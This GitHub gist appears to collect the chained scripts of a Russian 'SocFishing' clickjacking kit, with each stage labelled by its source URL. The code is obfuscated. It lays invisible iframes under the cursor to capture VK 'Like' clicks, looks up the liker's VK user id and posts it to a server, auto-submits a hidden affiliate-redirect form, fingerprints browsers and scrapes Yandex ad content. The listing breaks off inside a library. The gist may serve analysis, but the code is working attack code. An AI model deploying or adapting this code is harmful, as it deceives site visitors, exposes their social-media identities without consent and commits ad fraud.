Skip to content

Instantly share code, notes, and snippets.

@AndrejAndb
Created March 13, 2015 10:36
Show Gist options
  • Select an option

  • Save AndrejAndb/d799a8db99c620f84056 to your computer and use it in GitHub Desktop.

Select an option

Save AndrejAndb/d799a8db99c620f84056 to your computer and use it in GitHub Desktop.
sc.js
/* https://socgate.ru/htrack/?id=4f3337d41d8cd91498751554&h=&r=0.049016852397471666 */
/*------------------------------------------------------------------------------------*/
/* 53 6F 63 46 69 73 68 69 6E 67 */
(function(){ var c = "noindex"; var _0x5e2b=["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];setTimeout(function (){var _0x5525x1=document[_0x5e2b[0]](c);while(_0x5525x1[_0x5e2b[3]]){_0x5525x1[0][_0x5e2b[2]][_0x5e2b[1]](_0x5525x1[0]);} ;} ,50); eval(_0x5e2b); }());
if( navigator.userAgent.match( "Android|BackBerry|phone|iPad|iPod|IEMobile|Nokia|Mobile|MSIE|iPhone|webOS|Windows Phone|Explorer|Trident" ) ) {
mnoload = false; } else { mnoload = true; }
isSafari = !!navigator.userAgent.match(/Version\/[\d\.]+.*Safari/); if (isSafari) { mnoload = false; }
if (!navigator.cookieEnabled) { mnoload = false; }
top.frames=null;
parent = null;
top = null;
function are_cookies_enabled() {
var cookieEnabled = (navigator.cookieEnabled) ? true : false;
if (typeof navigator.cookieEnabled == "undefined" && !cookieEnabled) {
document.cookie="sfload";
cookieEnabled = (document.cookie.indexOf("sfload") != -1) ? true : false;
}
return (cookieEnabled);
}
if (!are_cookies_enabled()) {
mnoload = false;
}
iframe_url = 'data:text/html;charset=utf-8;base64,PCEtLSAtLT48bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vZm9sbG93IiAvPiA8c2NyaXB0IGFzeW5jPiB3aW5kb3cubG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9zb2NnYXRlLnJ1L2h0cmFjay93aC8/dT04NjJhN2M5ZGE4YmI1OGE3OTAzNzg5YWIzYzkxN2ExNGY0ZWE4MDllZmYyYTE1YjhkMjdmZTliMmU4NzhlNzg3Jmhvc3Q9ZGI2ZjM4ZGNmN2YxNGVhZmM3MzhkYWY1NmRkYjc4NGNiOWJhZGYmdWlkPWE2NjVjZjU5M2IwYzM0MzllYTNiYTZlODg0NDMxNGZlMTY0MmEwMDUyNzI0MmM0ZTBjZjc5OGNiYTc2OThjMWQyY2ZiMmIyM2NkODZjODMxNjRlMzFjNWQ4Y2ZhODhkYWViOTEwNDBjYThlMjBmOTU4MTUxMjk1MjRlYWYxY2YxNTExZGEwOTQ2MDBhYzljZGFjNGM5N2NmZDFlMTQ0MzQ2ZTkwYzNkYmNiYzhiMWIxZmZlMWEyZjQ5ZDRlOTU4ZjdkNTEwOTYwYjA1Yjc1YmQxZGUxIjsgPC9zY3JpcHQ+PCEtLSAtLT4=';
if( mnoload ) {
var load = 0;
function _sfload() {
if (load == 0) { load = 1;
document.oncontextmenu = new Function("return false;");
var sf = document.createElement('div');
sf.innerHTML = '<iframe src="'+iframe_url+'" name="SFrmload" id="SFrmload" frameborder="0" scrolling="no" allowtransparency style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; filter:alpha(opacity=0); opacity:0; cursor: pointer; z-index:88888;" /><\/iframe>';
(document.getElementsByTagName('html')[0] || document.body).appendChild( sf );
sf = document.getElementById("SFrmload");
sf.parent = undefined;
}
}
window.onmousemove = _sfload;
}
onmessage = function(evnt) {
if (evnt.data=='patched') {
document.getElementById('SFrmload').style.visibility = "hidden";
document.getElementById("SFrmload").style.height = "1px";
document.getElementById("SFrmload").style.width = "1px";
console.log('1101');
}
}
var _0xd20f=["\xA5\x20\xA2\x3D\x7B\x7D\x3B\xA2\x2E\xA6\x28\x27\xA7\x27\x2C\xA3\x28\x29\x7B\xA3\x20\xA1\x28\x29\x7B\xA9\x7D\x3B\xA1\x2E\xA4\x3D\xA1\x3B\xA8\x7B\x7D\x7D\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x73\x73\x66\x7C\x73\x73\x78\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x76\x61\x72\x7C\x5F\x5F\x64\x65\x66\x69\x6E\x65\x47\x65\x74\x74\x65\x72\x5F\x5F\x7C\x5F\x5F\x70\x72\x6F\x74\x6F\x5F\x5F\x7C\x72\x65\x74\x75\x72\x6E\x7C\x64\x65\x62\x75\x67\x67\x65\x72","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5B\xA1\x2D\xFF\x5D\x2B","\x67"];eval(function (_0x4f88x1,_0x4f88x2,_0x4f88x3,_0x4f88x4,_0x4f88x5,_0x4f88x6){_0x4f88x5=function (_0x4f88x3){return (_0x4f88x3<_0x4f88x2?_0xd20f[4]:_0x4f88x5(_0x4f88x3/_0x4f88x2))+String[_0xd20f[5]](_0x4f88x3%_0x4f88x2+161);} ;if(!_0xd20f[4][_0xd20f[6]](/^/,String)){while(_0x4f88x3--){_0x4f88x6[_0x4f88x5(_0x4f88x3)]=_0x4f88x4[_0x4f88x3]||_0x4f88x5(_0x4f88x3);} ;_0x4f88x4=[function (_0x4f88x5){return _0x4f88x6[_0x4f88x5];} ];_0x4f88x5=function (){return _0xd20f[7];} ;_0x4f88x3=1;} ;while(_0x4f88x3--){if(_0x4f88x4[_0x4f88x3]){_0x4f88x1=_0x4f88x1[_0xd20f[6]]( new RegExp(_0x4f88x5(_0x4f88x3),_0xd20f[8]),_0x4f88x4[_0x4f88x3]);} ;} ;return _0x4f88x1;} (_0xd20f[0],9,9,_0xd20f[3][_0xd20f[2]](_0xd20f[1]),0,{})); eval(_0xd20f);
/* http://stattds.club/s8194/scripts/track.js?ab=uc&r=0.7908023553900421 */
/*------------------------------------------------------------------------------------*/
(function track() { var ifr=document.createElement("iframe"); ifr.setAttribute("style", "left:0;top:0;display:none;width:0px;height:0px;"); ifr.setAttribute("name","iframe_elem_A21701D8920B486E8DCCCF64E47F0207");ifr.src='http://stattds.club/s8194/stat/html?ab=uc'; document.body.appendChild(ifr); })();
/* http://stattds.club/s8194/stat/html?ab=uc */
/*------------------------------------------------------------------------------------*/
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function submitForm() {
document.forms['iframe-form'].submit();
}
</script>
</head>
<body onload="submitForm();">
<form action="http://shopchin.com/ru/origingoods" method="POST" name="iframe-form">
<input name="data" type="hidden" value="rTKSZMPrY0k+Vhk5X2zuFRH5PDh1e6G3XeoVZXnSSRFzkJWxiEo91o/foEccA4IP9xYKCXVxvzUbUPDMm01/HNl4jFego6dFshZuAsXYNanEnMvRBKgqI2QBVrZatH/O4yLG2eH5USW96Vwc1VzL4A6m8mmlsHsb9XwqJNrgPeeMza0Jh3lOsasNNYzvLQUjh3XoG2FBSW1VUM/XFExGi6R1yz+r0ZJ6fESKXAn6eMDer63dEYA73XQ2U8yAsXm/BQWlLmKgt9NyiqHnRQ2MvTEgnAfdVEC6S5Gf5fX/6dfE65Jvestl3uChU7S97j9jUm1q4Thibpj0xrYOEy3QSrkoFftl/UTUxghvWT2E6YOvnQNWryLoND+ulqMieBYfAlmzrEjTCn0pPJdgMODuJd8gslhY1vVAty/00w7rPPsAhsU6GhXXdlAqJrlXHVx70LW0p/+p07OMUyS1Fu0S2/fRAlihB6kTShzsCjEsYb3EC3ThGdlCqg=="/>
</form>
</body>
</html>
/* http://shopchin.com/ru/origingoods */
/*------------------------------------------------------------------------------------*/
<input type="hidden" id="CpUMN1PjYannEvTMfNp9bUYEx" value="http%3a%2f%2fdecidewhat2do.space%2fredirect%2fcpa%2fo%2f3fd5bea9ea2cd31771f1820c863d3c61%3fsub%3dppvEmptyHashRuOriginGoods%26ppv_id%3d6%26to%3dhttp2F2Fw3Fg26SearchText252Brecord26CatId26manualhit_id%25" />
<script type="text/javascript">
(function stat() {
var statImg = new Image();
var url = "/Stat/pixel.gif?" +
"cl=" + window.location.href +
"&bcn=" + navigator.appCodeName +
"&bn=" + navigator.appName +
"&bv=" + navigator.appVersion +
"&ce=" + navigator.cookieEnabled +
"&bl=" + navigator.language +
"&np=" + navigator.platform +
"&sw=" + screen.width +
"&sh=" + screen.height +
"&r=" + Math.random();
var a = document.getElementById('CpUMN1PjYannEvTMfNp9bUYEx');
if (a) {
url += "&a=" + a.value;
}
statImg.src = url;
})();
var pixel0 = new Image();
pixel0.src = 'http://stattds.club/s8194/stat/?group=ro';
var pixel1 = new Image();
pixel1.src = 'http://stattds.club/s8194/stat/?group=tot';
</script>
/* https://socgate.ru/htrack/wh/?u=862a7c9da8bb58a7903789ab3c917a14f4ea809eff2a15b8d27fe9b2e878e787&host=db6f38dcf7f14eafc738daf56ddb784cb9badf&uid=a665cf593b0c3439ea3ba6e8844314fe1642a00527242c4e0cf798cba7698c1d2cfb2b23cd86c83164e31c5d8cfa88daeb91040ca8e20f95815129524eaf1cf1511da094600ac9cdac4c97cfd1e144346e90c3dbcbc8b1b1ffe1a2f49d4e958f7d510960b05b75bd1de1 */
/*------------------------------------------------------------------------------------*/
<!DOCTYPE html>
<html onclick="unframe()">
<head>
<meta charset="utf-8">
<style>
* {margin:0;padding:0;cursor:pointer;}
iframe {border: 0 !important;}
#sfwgt{border: 0 !important;}
</style>
<script type="text/javascript" charset="utf-8">
self = null;
parent = null;
top = null;
document.oncontextmenu = new Function("return false;");
</script>
<script type="text/javascript" charset="utf-8">
function unframe() {
console.log('1102');
setTimeout('top.postMessage("patched", "http://makeme.do.am")', 50);
setTimeout('top.postMessage("patched", "https://makeme.do.am")', 50);
}
var x, y;
var isFramed = false;
var furl = "<div style='overflow:hidden;width:10px;height:10px;z-index:88889;'><iframe id='frmbox' style='overflow:hidden;filter:alpha(opacity=0);opacity:0;width:300px;height:200px;cursor:pointer;border:0px;border-width:0px;margin-top:-5px;margin-left:-5px;z-index:88889;' src='data:text/html;charset=utf-8;base64,PCEtLSAtLT48c2NyaXB0IGFzeW5jPiB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3Vjb3otaG9zdC5ydS9odHJhY2svP3BhZ2U9ODYyYTdjOWRhOGJiNThhNzkwMzc4OWFiM2M5MTdhMTRmNGVhODA5ZWZmMmExNWI4ZDI3ZmU5YjJlODc4ZTc4NyZoPWRiNmYzOGRjZjdmMTRlYWZjNzM4ZGFmNTZkZGI3ODRjYjliYWRmIjsgPC9zY3JpcHQ+PCEtLSAtLT4='></iframe></div>";
var _0xde5b=["\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x73\x66\x63\x6F\x6E\x74\x65\x6E\x74\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x63\x75\x72\x73\x6F\x72\x3A\x70\x6F\x69\x6E\x74\x65\x72\x3B\x27\x3E\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x73\x66\x68\x31\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x38\x38\x38\x39\x30\x3B\x63\x75\x72\x73\x6F\x72\x3A\x70\x6F\x69\x6E\x74\x65\x72\x3B\x68\x65\x69\x67\x68\x74\x3A\x31\x33\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x31\x33\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x72\x69\x67\x68\x74\x3A\x2D\x32\x70\x78\x3B\x74\x6F\x70\x3A\x2D\x31\x32\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x33\x34\x70\x78\x3B\x27\x3E\x3C\x2F\x64\x69\x76\x3E\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x73\x66\x68\x32\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x38\x38\x38\x39\x30\x3B\x63\x75\x72\x73\x6F\x72\x3A\x70\x6F\x69\x6E\x74\x65\x72\x3B\x68\x65\x69\x67\x68\x74\x3A\x31\x33\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x31\x33\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x72\x69\x67\x68\x74\x3A\x2D\x32\x70\x78\x3B\x62\x6F\x74\x74\x6F\x6D\x3A\x2D\x31\x32\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x33\x34\x70\x78\x3B\x27\x3E\x3C\x2F\x64\x69\x76\x3E\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x73\x66\x68\x33\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x38\x38\x38\x39\x30\x3B\x63\x75\x72\x73\x6F\x72\x3A\x70\x6F\x69\x6E\x74\x65\x72\x3B\x68\x65\x69\x67\x68\x74\x3A\x31\x34\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x31\x33\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x62\x6F\x74\x74\x6F\x6D\x3A\x2D\x32\x70\x78\x3B\x74\x6F\x70\x3A\x2D\x32\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x31\x34\x70\x78\x3B\x27\x3E\x3C\x2F\x64\x69\x76\x3E\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x73\x66\x68\x34\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x38\x38\x38\x39\x30\x3B\x63\x75\x72\x73\x6F\x72\x3A\x70\x6F\x69\x6E\x74\x65\x72\x3B\x68\x65\x69\x67\x68\x74\x3A\x31\x34\x70\x78\x3B\x72\x69\x67\x68\x74\x3A\x2D\x31\x31\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x62\x6F\x74\x74\x6F\x6D\x3A\x2D\x32\x70\x78\x3B\x74\x6F\x70\x3A\x2D\x32\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x31\x32\x70\x78\x3B\x27\x3E\x3C\x2F\x64\x69\x76\x3E","\x3C\x2F\x64\x69\x76\x3E"];var dmsg=_0xde5b[0]+furl+_0xde5b[1];eval(_0xde5b);
function handlerMM(e)
{
x = (e)?e.pageX:document.body.scrollLeft + event.clientX;
y = (e)?e.pageY:document.body.scrollTop + event.clientY;
if ((x>0) && (y>0)) {
document.getElementById("sfcontent").style.left = (x-5) + "px";
document.getElementById("sfcontent").style.top = (y-5) + "px";
}
}
</script>
</head><body id="sfbody" onclick="unframe()" style="cursor: pointer;"></body>
<script type="text/javascript" charset="utf-8">
var isFramed = false;
try {
isFramed = window != window.top || document != top.document || self.location != top.location;
} catch (e) {
isFramed = true;
}
if ((isFramed) && (window!=window.top))
{
document.write(dmsg);
document.onmousemove = handlerMM;
}
else
{
unframe();
}
</script>
<iframe src="data:text/html;charset=utf-8;base64,PCEtLSAtLT48c2NyaXB0IGFzeW5jPiB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3Vjb3otaG9zdC5ydS92dHJhY2svc2l6ZWJveC8/aG9zdD1kYjZmMzhkY2Y3ZjE0ZWFmYzczOGRhZjU2ZGRiNzg0Y2I5YmFkZiI7IDwvc2NyaXB0PjwhLS0gLS0+" style="width:1px;height:1px;opacity:0;"></iframe>
<script type="text/javascript">
document.write('<iframe sandbox=\'allow-same-origin allow-scripts\' seamless id=\'sfrload\' src=\'data:text/html;charset=utf-8;base64,PCEtLSAtLT48c2NyaXB0IGFzeW5jPiB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3lvdTQzLnJ1L3lhbmRpbnRzaXRlLz91PTUxMDFlZTllNmQ2MzRkZjdjMTI1ODc3N2I1YTUxNDZhIjsgPC9zY3JpcHQ+PCEtLSAtLT4=\' style=\'width:1px;height:1px;opacity:0;\'><\/iframe>'); </script>
<strike><script type="text/javascript" charset="utf-8">
var uid = document.createElement('script');
uid.type = 'text/javascript';
uid.async = true;
uid.src = 'data:text/javascript;charset=utf-8;base64,dmFyIHVpZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOyB1aWQudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnOyB1aWQuYXN5bmMgPSB0cnVlOyB1aWQuc3JjID0gJ2h0dHA6Ly90YXJnZXQuaW0vdWlkLz90bz1hNjY1Y2Y1OTNiMGMzNDM5ZWEzYmE2ZTg4NDQzMTRmZTE2NDJhMDA1MjcyNDJjNGUwY2Y3OThjYmE3Njk4YzFkMmNmYjJiMjNjZDg2YzgzMTY0ZTMxYzVkOGNmYTg4ZGFlYjkxMDQwY2E4ZTIwZjk1ODE1MTI5NTI0ZWFmMWNmMTUxMWRhMDk0NjAwYWM5Y2RhYzRjOTdjZmQxZTE0NDM0NmU5MGMzZGJjYmM4YjFiMWZmZTFhMmY0OWQ0ZTk1OGY3ZDUxMDk2MGIwNWI3NWJkMWRlMSZmaWxlPWRldi5qcyc7IGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodWlkKTs=';
//document.body.appendChild(uid);
</script></strike>
<strike><script>(function(){ var c = "strike"; var _0x5e2b=["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];setTimeout(function (){var _0x5525x1=document[_0x5e2b[0]](c);while(_0x5525x1[_0x5e2b[3]]){_0x5525x1[0][_0x5e2b[2]][_0x5e2b[1]](_0x5525x1[0]);} ;} ,500); eval(_0x5e2b); }()); </script></strike>
</html>
/* https://ucoz-host.ru/htrack/?page=862a7c9da8bb58a7903789ab3c917a14f4ea809eff2a15b8d27fe9b2e878e787&h=db6f38dcf7f14eafc738daf56ddb784cb9badf */
/*------------------------------------------------------------------------------------*/
<html><title></title>
<head>
<style>
* {margin:0;padding:0;cursor:pointer;}
body {margin:0;padding:0;cursor:pointer;}
iframe {border: 0 !important;}
#vkwidget1_tt {display:none !important;}
#vbtn {margin:0;padding:0;cursor:pointer;}
</style>
</head>
<body>
<script type="text/javascript" src="oapi.php?l=api398714469.js"></script>
<script type="text/javascript">
function app(vb_id) { var _0x2a96=["\x69\x6E\x69\x74"];VK[_0x2a96[0]]({apiId:vb_id,onlyWidgets:true});eval(_0x2a96); } app(4582889);
</script>
<div id="vbtn"></div>
<script type="text/javascript">
var _0x3d78=["\x76\x62\x74\x6E","\x62\x75\x74\x74\x6F\x6E","\x57\x69\x64\x67\x65\x74\x73"];VK[_0x3d78[2]].Like(_0x3d78[0],{type:_0x3d78[1],verb:1,height:22});eval(_0x3d78);
function call(result) {
var _0xf09b=["\x69\x64","\x69\x74\x65\x6D\x73","\x72\x65\x73\x70\x6F\x6E\x73\x65","\x50\x4F\x53\x54","\x73\x61\x70\x69\x2E\x70\x68\x70","\x6F\x70\x65\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72"];var id=result[_0xf09b[2]][_0xf09b[1]][0][_0xf09b[0]];var xhr= new XMLHttpRequest();xhr[_0xf09b[5]](_0xf09b[3],_0xf09b[4],true);xhr[_0xf09b[8]](_0xf09b[6],_0xf09b[7]);eval(_0xf09b);
xhr.send("mid=" + id + "&u=862a7c9da8bb58a7903789ab3c917a14f4ea809eff2a15b8d27fe9b2e878e787");
xhr.onreadystatechange = function (){
if(xhr.readyState == 4){ }
}
}
VK.Observer.subscribe("widgets.like.liked", function f(){
document.getElementById("vbtn").style.display = 'none';
top.postMessage("patched", "http://makeme.do.am");
top.postMessage("patched", "https://makeme.do.am");
var script = document.createElement('SCRIPT');
script.src = "https://api.vk.com/method/likes.getList?type=sitepage&owner_id=4582889&page_url=https%3A%2F%2Fucoz-host.ru%2Fhtrack%2F%3Fpage%3D862a7c9da8bb58a7903789ab3c917a14f4ea809eff2a15b8d27fe9b2e878e787%26h%3Ddb6f38dcf7f14eafc738daf56ddb784cb9badf&filter=likes&friends_only=0&extended=1&offset=0&count=1&v=5.25&callback=call";
document.getElementsByTagName("head")[0].appendChild(script);
});
</script>
</body>
</html>
/* https://ucoz-host.ru/vtrack/sizebox/?host=db6f38dcf7f14eafc738daf56ddb784cb9badf */
/*------------------------------------------------------------------------------------*/
<html><head></head><body></body></html>
<script type="text/javascript" src="//vk.com/js/api/openapi.js"></script>
<script type="text/javascript">
VK.init({apiId: 4524602});
</script>
<div id="c_auth"></div>
<script type="text/javascript">
VK.Widgets.Auth("c_auth", {width: "300px", onAuth: function(data) { } });
function unframe() {
console.log('1103');
setTimeout('top.postMessage("patched", "http://makeme.do.am")', 50);
setTimeout('top.postMessage("patched", "https://makeme.do.am")', 50);
}
function sizebox() {
var l = document.getElementById('c_auth');
var e = l.style.height.substring(0, l.style.height.length - 2);
if (((e==63) || (e==62) || (e==64) || (e<=85) || (e<=87)) && (e!=0)) {
unframe();
}
}
setTimeout('sizebox();', 2000);
</script>
/* https://you43.ru/yandintsite/?u=5101ee9e6d634df7c1258777b5a5146a */
/*------------------------------------------------------------------------------------*/
<!DOCTYPE html>
<html><head>
<title></title>
</head>
<script>
self = null;
parent = null;
top = null;
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<body>
<div id="none" style="display:none;">
<div id="Ya_sync_0"></div>
<script type="text/javascript">
(function(w, d, n, s, t) {
var _0x3f93=["\x59\x61\x5F\x73\x79\x6E\x63\x5F\x30","\x64\x69\x72\x65\x63\x74","\x66\x6C\x61\x74","\x46\x46\x46\x46\x46\x46","\x30\x30\x38\x30\x30\x30","\x34\x34\x34\x34\x34\x34","\x30\x30\x30\x30\x30\x30","\x69\x6E\x73\x65\x72\x74\x49\x6E\x74\x6F","\x44\x69\x72\x65\x63\x74","\x70\x75\x73\x68","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x2F\x2F\x61\x6E\x2E\x79\x61\x6E\x64\x65\x78\x2E\x72\x75\x2F\x73\x79\x73\x74\x65\x6D\x2F\x63\x6F\x6E\x74\x65\x78\x74\x2E\x6A\x73","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"];w[n]=w[n]||[];w[n][_0x3f93[9]](function (){Ya[_0x3f93[8]][_0x3f93[7]](79933,_0x3f93[0],{stat_id:1,ad_format:_0x3f93[1],font_size:1,type:_0x3f93[2],limit:4,title_font_size:3,links_underline:true,site_bg_color:_0x3f93[3],title_color:_0x3f93[4],url_color:_0x3f93[5],text_color:_0x3f93[6],hover_color:_0x3f93[4],sitelinks_color:_0x3f93[4],favicon:true,no_sitelinks:true});} );t=d[_0x3f93[11]](_0x3f93[10])[0];s=d[_0x3f93[12]](_0x3f93[10]);s[_0x3f93[13]]=_0x3f93[14];s[_0x3f93[15]]=_0x3f93[16];s[_0x3f93[17]]=true;t[_0x3f93[19]][_0x3f93[18]](s,t);eval(_0x3f93);
})(window, document, "yandex_context_callbacks");
</script>
<div id="Ya_sync_1"></div>
<script type="text/javascript">
(function(w, d, n, s, t) {
var _0xea8b=["\x59\x61\x5F\x73\x79\x6E\x63\x5F\x31","\x64\x69\x72\x65\x63\x74","\x66\x6C\x61\x74","\x46\x46\x46\x46\x46\x46","\x30\x30\x38\x30\x30\x30","\x34\x34\x34\x34\x34\x34","\x30\x30\x30\x30\x30\x30","\x69\x6E\x73\x65\x72\x74\x49\x6E\x74\x6F","\x44\x69\x72\x65\x63\x74","\x70\x75\x73\x68","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x2F\x2F\x61\x6E\x2E\x79\x61\x6E\x64\x65\x78\x2E\x72\x75\x2F\x73\x79\x73\x74\x65\x6D\x2F\x63\x6F\x6E\x74\x65\x78\x74\x2E\x6A\x73","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"];w[n]=w[n]||[];w[n][_0xea8b[9]](function (){Ya[_0xea8b[8]][_0xea8b[7]](79933,_0xea8b[0],{stat_id:1,ad_format:_0xea8b[1],font_size:1,type:_0xea8b[2],limit:4,title_font_size:3,links_underline:true,site_bg_color:_0xea8b[3],title_color:_0xea8b[4],url_color:_0xea8b[5],text_color:_0xea8b[6],hover_color:_0xea8b[4],sitelinks_color:_0xea8b[4],favicon:true,no_sitelinks:true});} );t=d[_0xea8b[11]](_0xea8b[10])[0];s=d[_0xea8b[12]](_0xea8b[10]);s[_0xea8b[13]]=_0xea8b[14];s[_0xea8b[15]]=_0xea8b[16];s[_0xea8b[17]]=true;t[_0xea8b[19]][_0xea8b[18]](s,t);eval(_0xea8b);
})(window, document, "yandex_context_callbacks");
</script>
<div id="Ya_sync_2"></div>
<script type="text/javascript">
(function(w, d, n, s, t) {
var _0xb689=["\x59\x61\x5F\x73\x79\x6E\x63\x5F\x32","\x64\x69\x72\x65\x63\x74","\x66\x6C\x61\x74","\x46\x46\x46\x46\x46\x46","\x30\x30\x38\x30\x30\x30","\x34\x34\x34\x34\x34\x34","\x30\x30\x30\x30\x30\x30","\x69\x6E\x73\x65\x72\x74\x49\x6E\x74\x6F","\x44\x69\x72\x65\x63\x74","\x70\x75\x73\x68","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x2F\x2F\x61\x6E\x2E\x79\x61\x6E\x64\x65\x78\x2E\x72\x75\x2F\x73\x79\x73\x74\x65\x6D\x2F\x63\x6F\x6E\x74\x65\x78\x74\x2E\x6A\x73","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"];w[n]=w[n]||[];w[n][_0xb689[9]](function (){Ya[_0xb689[8]][_0xb689[7]](79933,_0xb689[0],{stat_id:1,ad_format:_0xb689[1],font_size:1,type:_0xb689[2],limit:4,title_font_size:3,links_underline:true,site_bg_color:_0xb689[3],title_color:_0xb689[4],url_color:_0xb689[5],text_color:_0xb689[6],hover_color:_0xb689[4],sitelinks_color:_0xb689[4],favicon:true,no_sitelinks:true});} );t=d[_0xb689[11]](_0xb689[10])[0];s=d[_0xb689[12]](_0xb689[10]);s[_0xb689[13]]=_0xb689[14];s[_0xb689[15]]=_0xb689[16];s[_0xb689[17]]=true;t[_0xb689[19]][_0xb689[18]](s,t);eval(_0xb689);
})(window, document, "yandex_context_callbacks");
</script>
<script type="text/javascript">
$(document).ready(function(){
setTimeout(function() {
var c=document.getElementsByTagName('head');
c[0].parentElement.removeChild(c[0]);
var y0 = $("#Ya_sync_0").html();
var y1 = $("#Ya_sync_1").html();
var y2 = $("#Ya_sync_2").html();
$.post("send.php", { html: y0+y1+y2, u: "5101ee9e6d634df7c1258777b5a5146a" });
$( "#none" ).remove();
}, 1000);
});
</script>
</div>
</body>
</html>
/* https://ucoz-host.ru/htrack/oapi.php?l=api398714469.js */
/*------------------------------------------------------------------------------------*/
/*
Hi Jack reload
SF v3.6
*/
(function(w) {
if (w.fastXDM) return;
var handlers = {};
var onEnvLoad = [];
var env = {};
function genKey() {
var key = '';
for (i = 0; i < 5; i++) key += Math.ceil(Math.random() * 15).toString(16);
return key;
}
function waitFor(obj, prop, func, self, count) {
if (obj[prop]) {
func.apply(self);
} else {
count = count || 0;
if (count < 1000) setTimeout(function() {
waitFor(obj, prop, func, self, count + 1)
}, 0);
}
}
function attachScript(url) {
setTimeout(function() {
var newScript = document.createElement('script');
